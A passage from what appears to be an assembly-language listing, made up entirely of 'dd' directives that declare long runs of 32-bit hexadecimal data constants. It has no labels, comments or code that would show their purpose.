		dd 0DC9B741Ah, 81C55B01h, 0FBEEB931h, 0BDB5B020h, 0DF987748h
		dd 217EAE79h, 80F0833Bh, 4E2D62ADh, 75CC17CAh, 680100C1h
		dd 0EBB4E926h, 9B031C9Fh, 0B3DD9D19h, 3651F05Ch, 45B0C063h
		dd 0A9ACF3Ah, 9CF3EE06h, 22ECFF54h, 0F20096E1h,	83B85739h
		dd 0C0EF1DB0h, 0D2B43587h, 0A100EC8Fh, 7506456Eh, 0E424DAEh
		dd 32C598CDh, 4B5634D2h, 90008CF2h, 6A77FBDAh, 33477500h
		dd 0B6BED5AEh, 907A60D1h, 314A7B2h, 38858A00h, 8078841h
		dd 5E6DE0D3h, 0E0B1B05Ch, 206AAF24h, 0CC58404h,	13F88580h
		dd 0C946004Ah, 4CC3CB94h, 6D008117h, 2B476F74h,	6287CFB6h
		dd 4614DCE7h, 60EB6625h, 0DF35B621h, 34171000h,	2136C2C7h
		dd 3755177Eh, 0C1AC70h,	0D21DC408h, 0B9554BBh, 295EB1DCh
		dd 10C65D02h, 0A85222F7h, 0B60848E6h, 97484Ah, 0AF2DA05Eh
		dd 0D7311C72h, 1048AFEh, 82F55612h, 0DFF9C227h,	0B19DB300h
		dd 0D500B530h, 8790ED3Ah, 5D3DB9Ah, 49F1832Bh, 0B3A6001Ah
		dd 64ABE39Ch, 8C7DB47Eh, 0A5B04D00h, 828D0112h,	0F29C0335h
		dd 0BDD0E81Dh, 89CD2100h, 1182F58h, 178E60F9h, 5532E2EDh
		dd 260FC9h, 0AB3EA99Fh,	1BF4019Ah, 23ECA35Ch, 8B88D8EEh
		dd 4139400h, 542EF235h,	0E2F30186h, 80070FACh, 34DEC59h
		dd 588DF817h, 0FC0761ADh, 627E6978h, 0B1418709h, 4FBECD0h
		dd 3024AE0Ah, 0FBA08767h, 6EC11DABh, 0EF8E7A40h, 832C50h
		dd 0AE19F696h, 0F5C6C861h, 789AED18h, 1F20E9C2h, 0C04A21ACh
		dd 309B0699h, 5C0032FBh, 1B9F7EB3h, 4BDC6h, 6485CA87h
		dd 6F364571h, 0FC1DCFF2h, 0D9C15869h, 223F978Ch, 0C67FA28Eh
		dd 0B4B64922h, 6D824F5h, 82DA3EC0h, 0A805281Ch,	3D4702F0h
		dd 0D6919958h, 0E5C74060h, 7E2CB998h, 0B20338C5h, 113552h
		dd 14CD811Ah, 67260B15h, 18085F32h, 432B6447h, 0B38ADh
		dd 0FF3BBCB3h, 6FCF7CCh, 1625B882h, 805E8FCAh, 40DED8A2h
		dd 0B15E2DE6h, 0FA07EB7Ch, 0E85AFC32h, 0E04E102Bh, 0DFC8BD39h
		dd 0D70042CDh, 0A7281F6Ch, 737FABFh, 9F320F82h,	50A00E8Eh
		dd 15563139h, 0F6FEF3A0h, 0D916Fh, 48864FE7h, 0A8AE0005h
		dd 0EA10CD3h, 7B281129h, 7103CCD8h, 9CEBF30Ah, 0DF1009D9h
		dd 660C7880h, 61006C0Eh, 0CA1763F6h, 1F4C6F1Fh,	40DBA9CBh
		dd 0DF8FE525h, 2ADEEAA8h, 98461280h, 9185B0h, 0C59C42Fh
		dd 0C201A6AFh, 82345B00h, 8C73284h, 0CAFB3987h,	0FAF7BA00h
		dd 8FF0F867h, 50071F09h, 35C8809Ch, 0FC137Ch, 0EF98A0C7h
		dd 8C47E516h, 83588175h, 151D87ECh, 111D6Ch, 0E68E7306h
		dd 2F38E7FAh, 7B834207h, 49903904h, 53DF2C37h, 860FC929h
		dd 0B5A0F481h, 0E2AC75AAh, 800B374Ch, 305EF744h, 953E0021h
		dd 6C92F4B8h, 995C2364h, 55600030h, 324A7FEAh, 1DF300ACh
		dd 707185FDh, 0F6171975h, 5F4BB2A9h, 86F6E8h, 4743FC23h
		dd 241735C8h, 0DBACAE6Bh, 0F3DF8782h, 0B69BF960h, 9CE95A00h
		dd 0A40F8EA5h, 0A7603C57h, 82932680h, 7CE030Ch,	7117E1B9h
		dd 16BE11ACh, 0AB430E68h, 0C1242C89h, 11900B66h, 76447A1Ch
		dd 29E78034h, 8B06170Bh, 0DBE0D41Ch, 0D2FD1EF6h, 515E0A80h
		dd 42FC6855h, 5D480271h, 0E4D133BFh, 0B3F5B343h, 890C1F4Eh
		dd 0F101CEE9h, 8B5919A3h, 0A527C3Eh, 29C281E2h,	87F88325h
		dd 0FF5CF914h, 0F05B269Eh, 51DDE994h, 0D69DFB7Bh, 0B0B84007h
		dd 44BD172Eh, 3A70FAh, 0F25521E3h, 0CDD52BB6h, 37285300h
		dd 0CA68DDAFh, 8AB0B4h,	342CA6F1h, 17882D41h, 0B97E2200h
		dd 76530C18h, 0F5280044h, 2E9F4E57h, 1F005DA6h,	3F4772A9h
		dd 73DD909h, 3179F563h,	388090BDh, 322D6C3Ch, 0B7404E36h
		dd 85000B35h, 4B80D6B8h, 7DF32787h, 606B18F4h, 0E8DDBF38h
		dd 0E2624A18h, 5453006Fh, 0CFD6E18Fh, 8E7200E8h, 0EE59DA6Dh
		dd 505BEBEDh, 0DD2BB420h, 56350020h, 36D6A6F4h,	1536DE1Bh
		dd 4E6280A8h, 5A1AA2FEh, 0DAF5ED89h, 0C41AE0h, 0C1D60BD8h
		dd 0CE5E306Ah, 3536C2B5h, 52478E77h, 0A4D2A580h, 80C07C4Dh
		dd 19F781DFh, 1D432D5Fh, 92F137FDh, 2021FE61h, 142131C7h
		dd 0CE5A6810h, 483B001Dh, 458C03D3h, 0A458CA70h, 51C14F2Bh
		dd 0FC2B8529h, 589C5B14h, 90923402h, 6B3A00F0h,	6A58D680h
		dd 0C6377100h, 16424733h, 0A86300FCh, 70E30EEEh, 3B0ABB18h
		dd 0B35856C1h, 0B5605003h, 8402A5C4h, 0F9310F5Ah, 0C077258Bh
		dd 26134848h, 120D3455h, 0D517BE17h, 6AF83F81h,	0F488F66Bh
		dd 3100B3ABh, 0AFB346F9h, 0A9ACED2Fh, 28803A2Dh, 7327DE5Dh
		dd 42F14F27h, 9FAAF0AFh, 5546ED1h, 4B89ECBAh, 18EA27Eh
		dd 9F664492h, 0C3FD54Dh, 0FF71A502h, 0DE6ED15Bh, 0DD975B00h
		dd 4B5133BBh, 25563667h, 0B69C7D7Bh, 39A89E96h,	26ADA13h
		dd 96B8B2B9h, 0D3A02900h, 0B790563Bh, 4119074h,	851091B8h
		dd 84148763h, 12441461h, 824D0F4h, 0F85D9CBAh, 8FDCDBBFh
		dd 712989DEh, 0EDE96A22h, 0D17059D4h, 0E1D78231h, 7A7E238Bh
		dd 1FD61470h, 626D259Dh, 0D67D7E88h, 86001546h,	8D4DBB23h
		dd 7C9D43F6h, 0A6300461h, 2A74D95Fh, 7EF3EAFCh,	25523238h
		dd 5E377F5Fh, 0C36BB30Fh, 0BC910346h, 23AE0BBAh, 72FB45FFh
		dd 9FFF7AD7h, 0B81298B3h
		dd 0DABE4AAEh, 0D9F6935Dh, 5430F2Eh, 0AF1F29BDh, 0EC0A4960h
		dd 57FE00F9h, 60457C61h, 71000974h, 0C4E3C214h,	97F5D5C3h
		dd 5DD299F3h, 591D0FE6h, 0E5E46DC5h, 4BA0F167h,	4D230AEh
		dd 0A1B5FF81h, 729EFB13h, 9CECD8Ah, 0A6D41B49h,	515E851h
		dd 0A8331D50h, 3C9D8FF7h, 8D103121h, 71E40117h,	0F1D9057Fh
		dd 1BB3FF03h, 0BF51C030h, 0B12D24CEh, 0D7EA4231h, 851263DBh
		dd 0C1D670BFh, 92F8D31h, 32935932h, 0D8D4F91Ch,	6A95A73Fh
		dd 90D97E9Bh, 0E20928DFh, 887F2D44h, 760CBB60h,	0DE4FDBCAh
		dd 612E4059h, 55C200B5h, 12314947h, 0FE08CDB5h,	5125EACCh
		dd 8AC00913h, 874E9DF9h, 66FC6000h, 963CCE81h, 43E92461h
		dd 0F9316250h, 9DE2C5D4h, 4AF1D718h, 574B8EC8h,	8557191Ah
		dd 0CBBE155Bh, 79BD0898h, 16664814h, 0BACA6FCh,	0D616A4DBh
		dd 6800DE2Eh, 0D49063A4h, 9AB4B84h, 0C18589C5h,	632D87F9h
		dd 57869A69h, 95D4CE56h, 0A271D2B0h, 0B9D98B04h, 9EFE10AEh
		dd 0AEBC82F0h, 0E31077E3h, 0D5009C3Dh, 464878E8h, 0B540120Fh
		dd 68547F09h, 16E45569h, 785CBB02h, 0EDFC77D6h,	0BEE1E0E8h
		dd 951C7610h, 12AF6921h, 45595D98h, 1BE2B080h, 65FB2Ah
		dd 0CF81C02Bh, 0DF13977h, 6695BA70h, 0B3240B6h,	7899BD25h
		dd 15F4BD03h, 9C1756FCh, 3EFEAE00h, 895260C0h, 17F6D197h
		dd 0D588E05Bh, 7A893AF5h, 0F4C2E62Bh, 9D9C8FFh,	30822D30h
		dd 0BF27ED8Dh, 85EF6A76h, 0C3A81E6Dh, 0A83AE9B5h, 3A5D03ECh
		dd 0DD752E77h, 0F5F3D209h, 795182h, 507B9DB7h, 61021314h
		dd 0A01F060h, 9A425F55h, 6486975Fh, 68B96015h, 53FB2D8Bh
		dd 69E73154h, 94F72F08h, 296C61F0h, 2AD19D33h, 6AFA6716h
		dd 0CF605FC7h, 423BF01h, 3CBB66A4h, 86B3EFCCh, 2C659D08h
		dd 50455BC9h, 9201F649h, 0AEE09630h, 0AC2FEEFFh, 0B5298166h
		dd 386A27BDh, 5D8A74FAh, 9E057D46h, 0A65595C2h,	0BA01AA00h
		dd 165CBFF1h, 0B2452310h, 456D8D0Ch, 0AF11766h,	0C286BE1h
		dd 0B7045E0Dh, 228FA0B9h, 0ADA9045Ah, 0FAB58914h, 0CAFCDF53h
		dd 34C84524h, 1B2AE66h,	28458DC2h, 1177B5F5h, 55D8811Ch
		dd 35ECF66Bh, 0E8C427AAh, 4305F464h, 5D28EAF0h,	0D2F9B1BFh
		dd 0B5DAE657h, 0AF460124h, 98A130A7h, 87BD2BF9h, 0D252FB8Bh
		dd 0F960FBAFh, 1D5F9074h, 57D2635Eh, 0EB98BB51h, 876AFFDEh
		dd 7202F911h, 6FC608C9h, 757C8BB7h, 3D9E6A10h, 0ADF3B700h
		dd 9D5D6186h, 635901D9h, 0F9BF0FF7h, 88E86B5Fh,	12C955B7h
		dd 0F59EAA8Bh, 8BF6B001h, 0D35F61F0h, 0F51D32Eh, 70BDCF60h
		dd 0E7131252h, 6735FA5Bh, 38775DC8h, 82963372h,	7CC1FB31h
		dd 0FF2BB5D9h, 5B586A32h, 0ABF2733Ch, 0F2BD96C1h, 72AFDB7Fh
		dd 0C7002253h, 0AED87105h, 811939E7h, 0E1D516F9h, 12DDA314h
		dd 314FBCE9h, 0DDBA720Fh, 96B87A5Ch, 0B9845281h, 0E5176A8Dh
		dd 0F4B7BEAh, 0DDF0771Ch, 0E5DE8242h, 2DE6D41Bh, 4BD8B8DBh
		dd 0B7872D8h, 0EA2164DFh, 0EEB50358h, 0E0CA4AA1h, 5116E0F3h
		dd 0FFA79219h, 0A125B65Bh, 206B33C6h, 0BBA5CBA0h, 53972100h
		dd 1C870B3h, 77477B2h, 0D3AB09FEh, 0FFA71414h, 6FF074B6h
		dd 0DB029FC4h, 9D898E8Fh, 5BFB7F2Dh, 0B5F8099Bh, 9A93E0A9h
		dd 0E4698253h, 9A059F5h, 0EAFF0C7Ch, 1F1E70DAh,	25C366B7h
		dd 98A73DFCh, 0CA4B30h,	84546A8Dh, 0D687F8CBh, 0CFB329B5h
		dd 72C43D2h, 893E9290h,	0AE5B74B7h, 6C3D009Ah, 4F7C6D68h
		dd 0FA8B7B1Eh, 7F9296F0h, 0BBFF250h, 89A8CBCh, 8934B17Dh
		dd 3EC0C068h, 0BEB75074h, 9A7F549Dh, 0CDDF69CDh, 0CB39694Ah
		dd 1131607Eh, 13612E40h, 0FEFBCF80h, 26264E3Dh,	33E81CB1h
		dd 2B6005Ch, 0CDB17908h, 7A97CF8h, 0C7D3ECA4h, 9269B710h
		dd 0C77EE0D2h, 0F72E4D51h, 4155B04Bh, 526305DEh, 0FC538C54h
		dd 60288F5Eh, 80CE2B34h, 5BB009EFh, 17DC605Fh, 315A5160h
		dd 8552ABDh, 0A5D1B791h, 2350959Fh, 45B2D9EEh, 2567CBA6h
		dd 3832147Dh, 0EE4E042Eh, 91020C6Eh, 703FC36h, 0C61B5C0h
		dd 5A7DE4B7h, 22B68E16h, 0DC3794F5h, 0ABAD360Fh, 0D3846317h
		dd 27F8CC1Fh, 0D87AFA5Bh, 33F6413h, 39C1774Ah, 93D4C19Dh
		dd 6A6DF1EEh, 0FCC1F334h, 6B6ADBB3h, 21723A0h, 0E065C12Bh
		dd 130204D7h, 3879CBFh,	8262D4BDh, 0D88A96F8h, 0C98302D9h
		dd 0D00C4A66h, 2DFA61Fh, 9169F162h, 0E9031409h,	53968A5Bh
		dd 62577061h, 45E4F900h, 0F19D0958h, 0E4F4B72Eh, 91309FDCh
		dd 2021431h, 0C8DC49AEh, 923C04Dh, 9F69517h, 5D9F09C9h
		dd 0B9238179h, 35B25716h, 0A087A74Bh, 3B36D5CAh, 8A8B3318h
		dd 10D7F554h, 0C7DC49h,	7E0EA353h, 0E959AFC8h, 0B5AB1B00h
		dd 275C8031h, 1A03CD1h,	0FE223917h, 0DA200CDDh,	0BA2E5ADDh
		dd 0D85EEE6Eh, 10023A76h, 35166DB2h, 282656ECh,	200BB508h
		dd 0DE5EA3EEh, 1CB256A6h, 0D56C30h, 0C2182F78h,	23513ABFh
		dd 0F4899D2Fh, 0D20452DAh, 0C5A05705h, 0AB2EE32Fh, 6E13F26Fh
		dd 80A1AD89h, 0C264E8F3h, 0C7FABC32h, 94058BB7h, 0F9FE9444h
		dd 0FF8B8F6h, 961FA69h,	115856E9h, 35F4084h, 0FD2552FBh
		dd 8C14AC3Eh, 4780484Ch, 3EF64BD7h, 9D26F96h, 826F6A36h
		dd 0FE511C29h, 4A494061h, 1100C605h, 0C730697Eh, 0ABF505Fh
		dd 7026D66Ch, 0A5C0AFA3h, 830AE381h, 875722F5h,	77F98BC2h
		dd 213E9EDBh, 0FFFC4514h, 71A59AA6h, 3FBA0905h,	94800FBCh
		dd 0E8E277CEh, 79CACF00h, 0A2EB203h, 849601ACh,	7195013Dh
		dd 0B4281411h, 0D914B5D9h, 0D8107154h, 73BD3AB5h, 0A75D52FBh
		dd 0F5D9494Eh, 37006366h, 0B92A2124h, 2D05BBh, 8184DA46h
		dd 8672D060h, 0E138F80Ch, 40513E29h, 0F4BF5F07h, 4C02F4B1h
		dd 0E38056D8h, 99D1FFADh, 0D4FADEEBh, 15980603h, 512880Fh
		dd 0B9666019h, 0FDC40Bh, 0BAF70F2Fh, 0C82EE297h, 5112A25Fh
		dd 0C1144BFFh, 0DCF5FCh, 0F65FF8B3h, 1F813DD8h,	19EE91B7h
		dd 13A6AF30h, 0AF176B94h, 0FD0054CBh, 1A520168h, 0A80786A2h
		dd 0E5DD4E9Bh, 45317D17h, 0FB605F3Fh, 4A5A5B5Ch, 9E99C5D0h
		dd 0AB53F468h, 5A2F93A2h, 8B62AD5Ch, 4187D07h, 0A01E881h
		dd 8075735Eh, 0C0E494CFh, 5A9A708Dh, 0D1F258h, 0A37C97C4h
		dd 48E1C41h, 29322277h,	0AFEBC5E4h, 0A84F31A7h,	6E3000A8h
		dd 1DBEC4B0h, 3251002Bh, 27EF4776h, 0D938B34Ah,	2A80E05Eh
		dd 0A60D60EAh, 0A67FCCh, 21410E5Ch, 0B5B6BE52h,	5950D678h
		dd 0B70007FCh, 5AEF8148h, 5051D210h, 0DF568AF5h, 1EA490Fh
		dd 1412FC99h, 2D319604h, 25E905h, 0A965F06Dh, 574AAA66h
		dd 0F5B93DBBh, 827C5Eh,	2D1380CEh, 7FA474h, 77D1F437h
		dd 0D3BA900Fh, 18A72A1Eh, 0AD1A215Dh, 96042110h, 108F30C1h
		dd 8CC10E81h, 0F870711Ah, 0F00D2B7h, 0A93855C9h, 39BF062h
		dd 7F34FF45h, 0F9C0A141h, 8E0502DDh, 276A7B98h,	0C1CF51C0h
		dd 266E00CCh, 0A4474244h, 2E008F21h, 0DD048B1Eh, 9D4950h
		dd 0AB63AAC3h, 0A0EB8DBCh, 86FA4000h, 0AACDB06h, 305E3E83h
		dd 0B4E3FE80h, 172B8844h, 14F93Bh, 0DDAE5FB2h, 4AFBECh
		dd 72B30D0Eh, 0C29FF0F2h, 0F4DA6B01h, 0CFC124B8h, 73BA5ECh
		dd 5AB52C60h, 3D6B20B4h, 8D3C26BBh, 0B0A9984Bh,	18A5841h
		dd 40D22907h, 0FC8B205Ch, 96004B41h, 0D06B0B32h, 68A39CEh
		dd 11C1F586h, 890F3948h, 15F1385h, 833CD23Eh, 29809EE9h
		dd 0C22291A5h, 633F298Fh
		dd 0BCA8F5D0h, 0CA0019E5h, 954DE9C6h, 7AEE0A33h, 9AC7005Eh
		dd 0F7407A20h, 0AA0046E2h, 98761AC5h, 26DB541h,	0F66A8E65h
		dd 0E0A1A819h, 0C8EE1FE8h, 6972A567h, 70526200h, 1B8D0616h
		dd 0A83402C3h, 25EA76E9h, 1807C886h, 0CB99C600h, 477BE758h
		dd 0EAC900F6h, 0B16A7DC2h, 0AC003421h, 0C7BCD40Dh, 0A06238AAh
		dd 7DA86A0h, 7204F5C5h,	333AD01Ah, 0A100C29Dh, 0A448DF09h
		dd 8DB929h, 8CD966D4h, 9A474655h, 57BF6C03h, 0C010CBh
		dd 0D4E8CDE8h, 0E22BE092h, 27092906h, 98945Fh, 127EE372h
		dd 0BFA42184h, 30342B01h, 914BD797h, 0BA5041BFh, 8DFF00CCh
		dd 0A2E87CE4h, 1D0036D1h, 7675173Bh, 0E466309h,	0C915F49Dh
		dd 0C0807B4Bh, 139EEF74h, 4D903702h, 40D42760h,	45B880h
		dd 0CA6D9B46h, 83F422BFh, 57ECC707h, 0B20099B7h, 0C554770h
		dd 5A760FF2h, 0D40063A8h, 0BA352B6Fh, 18B60407h, 0A087B22Ah
		dd 2C004024h, 206CA773h, 244A34C1h, 1FAA9F42h, 29B8D9B0h
		dd 2838EC26h, 0B12D3C02h, 8081909Ah, 72324A9Fh,	86F534E6h
		dd 0C8F68028h, 0CD123DF8h, 0F4F14h, 7767168h, 0F960787Bh
		dd 0C4DB00B1h, 68A0469Ch, 0EE131CC5h, 0BF012A16h, 33E3B459h
		dd 9C45FCh, 5F0188E4h, 0BC2072CEh, 0B0712F1Ch, 6C03A952h
		dd 818FD338h, 984210A4h, 0F5BC4864h, 11BC2428h,	1FDF4040h
		dd 692021ECh, 4AECA7h, 835C5B85h, 0EB9D180Eh, 31EA2307h
		dd 7C212A65h, 0CD8A14Eh, 0E149000Ah, 1C56FE55h,	94A024F0h
		dd 570539A9h, 78BE8A43h, 0FC953580h, 1743B805h,	21DA33h
		dd 0DE322D2Eh, 9FF489FBh, 940020F4h, 0F41C6048h, 1F71B296h
		dd 9D6F7DE2h, 36140062h, 731952DFh, 0A1303460h,	9AA8BBh
		dd 1B2A3A28h, 7CDC5ACAh, 0BF773F00h, 0B7FEE3A9h, 99480044h
		dd 354585E1h, 743011F4h, 0D665403Ah, 0A95600B3h, 7F8F7DD8h
		dd 8C01F9C6h, 624454FFh, 28802B24h, 0AF9A26B5h,	50045DEh
		dd 97CC91DBh, 0E0600D89h, 9E8D047Fh, 0C067B770h, 0A5FBD9B7h
		dd 0ECF31900h, 867C14CEh, 801C3E0Dh, 6813CBBFh,	0E1980025h
		dd 0D56D1FA4h, 77046090h, 0AF67D082h, 6679A081h, 25E9630h
		dd 810D2592h, 0B0804AF6h, 7E632ABDh, 67A35000h,	2561439Bh
		dd 0B4A8CF1Fh, 14B6BB23h, 788C20F7h, 5A005B89h,	0EEFE66F8h
		dd 7FE47Ch, 796AFF3Bh, 0DE052218h, 88D5B200h, 0F558365Bh
		dd 0F6EB0077h, 35D3FB69h, 8204A132h, 0D449074Fh, 7D2E1E00h
		dd 0C50026DCh, 7BE8ED78h, 95255A5h, 0C4F3EE9Dh,	4AA9230Fh
		dd 0E29AD700h, 649865FFh, 0E4739B00h, 87D93B2Bh, 52CD00DDh
		dd 0A32BE1Eh, 3C00216Eh, 0B7B2B96Ah, 0F89EE2EEh, 46F90EA4h
		dd 0D9C049C5h, 75866C2Fh, 825F2A00h, 6DBB154h, 0F21E00D8h
		dd 79957CC1h, 0A607348Ah, 0A36B1D3Ah, 0A2865420h, 0B02C18B8h
		dd 0F62F6815h, 0EF144403h, 0E0B5F2B2h, 6078046Bh, 8E732164h
		dd 3630377Ah, 0AFF570B3h, 4AB6C1FCh, 202AC099h,	0D0411ACh
		dd 0AE87E8A0h, 0DB8DA080h, 0F8840935h, 0F80050E3h, 41FA0DF2h
		dd 31087500h, 2C945355h, 0A6906C91h, 0F600A958h, 0B89576DFh
		dd 1D9F28h, 0C3669423h,	0FFD117CAh, 4D0ACC98h, 0F02F1A6Ch
		dd 0C428B700h, 12239B4h, 5D15F818h, 0C0E1AA3Dh,	0E90924D2h
		dd 0E5BDC05h, 806A0A0h,	808D4Fh, 6E33D58Eh, 6AAB3972h
		dd 5CBCAA50h, 0B95728C0h, 58D09C55h, 1F00545Dh,	0D1653571h
		dd 0F000F19Bh, 2C173A9h, 0B40801h, 3D51FB98h, 28DA13A4h
		dd 4363024h, 589DA100h,	7AF10144h, 99A60095h, 459E519Bh
		dd 2100384Ch, 0AE9611C8h, 13C174FDh, 340CC7Eh, 4CDB4885h
		dd 0D0ADE380h, 325F8304h, 4C970754h, 8EF01757h,	7DE4CAh
		dd 0D63B19A6h, 0A0914937h, 0BFC87600h, 84C108A8h, 0F417A4Ah
		dd 0A589C572h, 0F0253340h, 0DA9817F2h, 81954200h, 3A4C2E3Eh
		dd 97A8A088h, 0A57C0108h, 0C9AABB46h, 1CB864BDh, 520001E6h
		dd 8E7F37A0h, 0B29A42CEh, 9CAB00F0h, 0A7C0D535h, 0A9F0B0CCh
		dd 7D7E520Bh, 3688806Ch, 5E59FDh, 2EBD1DA2h, 0E1ABE376h
		dd 8028DF3Ah, 45F9FB9Dh, 1E7C2957h, 4014D740h, 5FB04212h
		dd 200A4B8h, 9F77CFFAh,	0F2FFEE05h, 0EA6FB067h,	0C021006Ch
		dd 40A8E591h, 1600A52Fh, 0C4C6FCDFh, 0B24BEF1Dh, 75D20050h
		dd 2AE7F03Eh, 5B01B488h, 0C14EE1B2h, 0F4FF944Dh, 0AF24C0EBh
		dd 61008231h, 0AEBF3A30h, 69B9CCh, 0CB181C83h, 0FC20DFADh
		dd 1F331903h, 0B811FE08h, 94E88343h, 3F12013Ch,	2466A3A4h
		dd 1100C468h, 5D827264h, 902EA201h, 46260082h, 0C669974Ah
		dd 0EC2C1AC7h, 0C0406C48h, 4FF321h, 0D477A53Ch,	57FB29B7h
		dd 7CAB3600h, 432AEDAh,	4AB9861h, 7193A888h, 30B880D5h
		dd 7A74F7C2h, 2ED98E17h, 0AB57C845h, 0B2906897h, 743086F7h
		dd 71920CEAh, 0CA38D41Bh, 653C80F8h, 0B1BF825Dh, 40E424FBh
		dd 687C39h, 0AC2D7BD8h,	5632759Dh, 0CB0036F0h, 0F038FB89h
		dd 0F4722A4Eh, 0B65F307Ah, 0ABAEA768h, 3D36823Ah, 0D1C3002Bh
		dd 2F8AB426h, 99B9E597h, 5AB26A00h, 5F09CB47h, 0FE026774h
		dd 6F280C5Ch, 56A8A0D8h, 134ABECh, 97034EE0h, 0F0A26527h
		dd 91247380h, 0D80092FEh, 0AA30EAF3h, 0BD30372h, 8FC01C5Eh
		dd 54886FE8h, 51439F00h, 0E66D4555h, 1BE40052h,	155E32AAh
		dd 9A004885h, 346292BBh, 172633Bh, 2B3DB3BEh, 80D795FAh
		dd 6A85F389h, 0C875D09h, 6F54B1CBh, 21C0E908h, 0A26A7E16h
		dd 30F60082h, 0B958A13Bh, 0FE0054B3h, 7B4A7424h, 6391336Eh
		dd 8897185Ch, 0E05E3801h, 30E5D6C0h, 2A2020BAh,	0C888D374h
		dd 0A6B6402Ch, 33096310h, 60FEA064h, 770D6A89h,	1A07875Dh
		dd 0BE676A82h, 0C243A672h, 11241D4Eh, 8CE880F0h, 21DCAD6h
		dd 0E68992ACh, 0C85980DEh, 0FA765A03h, 7A30F72Bh, 741457D0h
		dd 3E0B3D9Fh, 54A580E2h, 92EB5E00h, 732E2A2h, 0BE885BD7h
		dd 0BBD280F3h, 1A280DC0h, 5A00D964h, 6842D586h,	3CFEF8D4h
		dd 3800D890h, 2DA2F77Ah, 60081BCh, 0C579E30Dh, 28B3B4h
		dd 5A3A147h, 77A04A0Ch,	0FEF9E1Eh, 8EF157C0h, 50C335h
		dd 7A05DA49h, 2E6B060Ah, 8BEC9900h, 2369F7C5h, 949879h
		dd 0DA3D6780h, 0CF8629A2h, 411A3EFh, 0D626FEE1h, 0B7AB1080h
		dd 5442D453h, 0E032F000h, 7F108F72h, 7A29000Dh,	55C54919h
		dd 0C13C665Eh, 5D4B0037h, 0FBADB6DAh, 944F38F2h, 0F8EB8680h
		dd 236D2EEEh, 89FD0E04h, 5CC0AEB6h, 3AB55ADEh, 409E6231h
		dd 787B0070h, 56AE9B9Ch, 0C8084200h, 0D3372941h, 0D7090065h
		dd 548BEAF2h, 111C5E6Dh, 688191BCh, 48714F8h, 1EDADDCh
		dd 0C146CA9Ch, 60CC301Dh, 0AC015E6Ch, 0D1B122C0h, 0BDD81BB5h
		dd 0E18A39ADh, 3AF2B780h, 0F7DADBA5h, 0CF028900h, 0ABC7557Bh
		dd 6083F0C0h, 7598902Fh, 0E0009A3h, 0F38A21F4h,	3B596730h
		dd 4C898414h, 7F804997h, 2E9A5DE2h, 0FD7CAD00h,	9520041Eh
		dd 0D82A5099h, 57491523h, 0EE00B827h, 4A7252D9h, 0D4FEAD90h
		dd 0FD38E7EEh, 9A8D0119h, 0AA66DD46h, 6051D7ECh, 507388BAh
		dd 3B1E1C8Ch, 948059E0h, 9D2A24ADh, 607162BBh, 7D20D8E8h
		dd 283250D9h, 0CC5E9Ah,	3957E315h, 1FF19893h, 94139F0Eh
		dd 2B36601Ch, 63756Eh, 8E05D7F6h, 29CB3CE5h, 0DF00AFF2h
		dd 6432B45Bh, 3DB0E0h, 0B59FE74Bh, 933C6775h, 0AFEB4100h
		dd 606FBD0Eh, 2CE00004h, 0D5E307A5h, 0C2018C9Bh, 0B68413C7h
		dd 0F0508083h, 54A4Eh
		dd 93031BD1h, 0EE142EB9h, 44ED8600h, 0BE5E39D3h, 9A9930C0h
		dd 40584C31h, 42313C00h, 3ED92EC8h, 0F8A90097h,	4F84D678h
		dd 1F7BD5D4h, 2E89F3Eh,	0D7335EB2h, 606C4066h, 86580079h
		dd 0B653CF26h, 710032B7h, 8406BC27h, 18F38CCAh,	0CA7E1DD9h
		dd 28005FE3h, 522FE16Ah, 0E6B95BADh, 6DBF0010h,	0EF3D8F32h
		dd 0D50318EEh, 0E0AA79F3h, 0F1E02ECAh, 0E49B04BCh, 3714C166h
		dd 5C8190C2h, 0FAD6FD80h, 0DF18C077h, 6338C675h, 14572F3h
		dd 0EC0F4782h, 20AC461Ah, 12163978h, 0C300FF61h, 0F786ED0Bh
		dd 0E2020099h, 0B5BAE73Bh, 3C07B125h, 9D6F907Bh, 3E502D67h
		dd 635C83EEh, 86DA48FAh, 205B0CB9h, 8E003541h, 1BF7F03Ch
		dd 9144D8h, 4B03872Bh, 0F6893E3Bh, 80000899h, 84AB64E6h
		dd 0A87F7392h, 3E62C4h,	0B997E1A2h, 820EC49Eh, 1A8C648h
		dd 0FF3A3FC0h, 8850331Ch, 9530A6h, 0A2FC5966h, 213970DEh
		dd 98F6FA33h, 0EFAF98FBh, 596400DAh, 60C248B5h,	0A2A0F892h
		dd 4973AD10h, 89C49A00h, 0CAA276B0h, 0EDDF0070h, 5921ACBEh
		dd 660173B1h, 4A284B27h, 388020F7h, 0AEBEC385h,	2305A8A7h
		dd 2D1182F4h, 0E0CBBB00h, 7C0D2E2Bh, 0A5D00071h, 0CFDA7983h
		dd 0BD00628Ch, 47A25893h, 178294h, 806B28FBh, 0D71E6E60h
		dd 0CB451300h, 52FC264Ch, 0F17B11h, 50DDAC8Dh, 89056CE8h
		dd 0A779B400h, 0C89CF2A3h, 0B71F18D7h, 60E15913h, 0F3849500h
		dd 5ABACA5h, 9A8F001Dh,	0F73794FFh, 8B0A2CD2h, 0C0D9724Ah
		dd 0FAE6B401h, 39D08308h, 3A290013h, 7EA430D6h,	0C703DAD0h
		dd 148D4E34h, 0A6CAA0C1h, 2DC900C5h, 0E4899FCFh, 713CE25Ch
		dd 511BBEEh, 96DF201h, 6E53EBC0h, 0D010005Fh, 392DFEBh
		dd 307A055Ah, 6F4BDB00h, 60C4CC28h, 0CA45953h, 0EE13FF00h
		dd 0BCE4641Bh, 0C5266D07h, 0EFF33AE0h, 2C46E0ABh, 259700C9h
		dd 7E227562h, 3E072E93h, 9B5A080Bh, 40641060h, 0B18500D2h
		dd 0BAD66345h, 778DD11h, 5262EE13h, 0F26F4400h,	0C01AE0ECh
		dd 0E1C4EA79h, 0EE006899h, 9E585991h, 4D34EDh, 0EF9A0424h
		dd 1F9789F5h, 37D4A00h,	53C5697Eh, 73240183h, 0A6E91E22h
		dd 9B29A8B8h, 2E1F620Eh, 55C920CAh, 2DDE69h, 527CE80Dh
		dd 476C0105h, 0F4000BF2h, 86662B33h, 724F2790h,	5A7F003Eh
		dd 0B48895DBh, 0A2005B0Bh, 1F445533h, 56A914h, 311D32BAh
		dd 0A42278Ch, 6C835E00h, 80072F8Dh, 8A6D00DFh, 9679E88Bh
		dd 940063F1h, 19519E2Dh, 3D1E15h, 0C1A1E94Dh, 47246BCFh
		dd 532420E5h, 1C93D358h, 3CC05D0Fh, 558E8428h, 0D7020074h
